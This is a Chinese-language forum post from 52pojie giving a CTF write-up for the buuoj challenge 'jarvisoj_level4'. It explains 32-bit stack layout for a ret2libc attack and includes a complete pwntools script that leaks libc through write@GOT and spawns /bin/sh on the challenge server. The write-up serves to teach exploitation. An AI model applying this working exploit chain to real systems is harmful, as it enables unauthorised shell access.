吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2127|回复: 1
收起左侧

[CTF] [基础ret2libc] jarvisoj_level4

[复制链接]
bnuzgn 发表于 2023-8-2 11:55
本帖最后由 bnuzgn 于 2023-8-2 11:57 编辑


题目来源:buuoj

题目信息

题目提示ubuntu16,i386,开了NX,Partial RELRO

   
1.png

   
2.png

main函数中调用用了write函数

   
3.png

vuln函数显然可以溢出。

   
4.png

解题思路

利用write函数泄露libc_base,很好写wp

温故知新

写多了64位的payload对rdi,rsi,rdx,rcx,r8,r9这些都很熟悉了,函数的参数可谓是一个萝卜一个坑,之间换一换顺序也是可以的也写习惯了。

突然回到32位的栈溢出才发现以前写32位的wp的时候是借鉴的网上的答案,后来又是自己借鉴自己以前的答案,导致自己都没有思考过为什么是这个ROP顺序。

就拿本题中输出32位的为例

payload = b'a'*(0x88+4)  + p32(write_plt) + p32(vuln_addr) + p32(1) + p32(write_got) + p32(4)

画一个此时的vuln函数栈

   
5.png
  • b'a'*(0x88+4) 是padding,用于直接溢出到vuln函数的返回地址
  • p32(write_plt)占据了vuln函数的返回地址
  • 【关键点1】vuln_addr,这个是write函数的返回地址,此时我们不需要考虑如果还有父函数会怎么样,因为这个是栈,而不是程序段,栈是用来保存函数运行时的临时数据的,仅仅作用于当前函数。当这个函数结束返回到返回值的时候,eip和rbp都会改变,对应于本题则会返回到vuln函数的起始处,此时栈顶esp指向的是下图中【write参数1】的位置,会重新复用后续的栈空间,而vuln函数没有参数,因此可以正常运行,这也是为什么一般二次循环会跳转到main啊vuln啊这种没有参数的函数中。(所以如果在这些函数中加一个参数是不是也可以稍稍避免栈溢出?)
  • 【关键点2】我们常听说32位程序加载参数的时候是从右往左的,为啥wp中直接p32(1) + p32(write_got) + p32(4)?正常流程中,参数压栈的方式的确是从右往左压栈,这样的目的时调用的时候可以从左往右调用,毕竟栈是FILO,而通过栈溢出的方式写栈走的不是正常流程,是直接从栈顶向着栈底写的,正巧和参数调用的顺序是一样的,所以就不需要倒序了。

   
6.png

wp
[Python] 纯文本查看 复制代码
# -*- coding: utf-8 -*-
from pwn import*

context.log_level='debug'
context.arch='i386'
context.os = "linux"

pc = "level4"

if __name__ == '__main__':
    local = sys.argv[1]
    if local == '1':
        r= process(pc)
        elf = ELF(pc)
        libc = elf.libc
    else:
        r=remote("node4.buuoj.cn",26967)
        elf = ELF(pc)
        libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

def db():
    gdb.attach(r)
    pause()

def dbs(src):
    gdb.attach(r, src)


write_plt = elf.plt['write']
write_got = elf.got['write']
vuln_addr = elf.sym['vulnerable_function']

payload = b'a'*(0x88+4)  + p32(write_plt) + p32(vuln_addr) + p32(1) + p32(write_got) + p32(4)
sl(payload)
write_addr = u32(r.recvuntil(b'\xf7')[-4:])
lg('write_addr')
libc_base = write_addr - libc.sym['write']
system_addr = libc_base + libc.sym['system']
bin_sh  = libc_base + libc.search(b'/bin/sh').__next__()

payload = b'a'*(0x88+4) + p32(system_addr) + p32(0) + p32(bin_sh)
sl(payload)
ti()

免费评分

参与人数 3威望 +1 吾爱币 +22 热心值 +3 收起 理由
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
NF123 + 1 + 1 很好
杨辣子 + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

binarystudy123 发表于 2023-9-14 19:12
十分详细,感谢分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 13:03

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表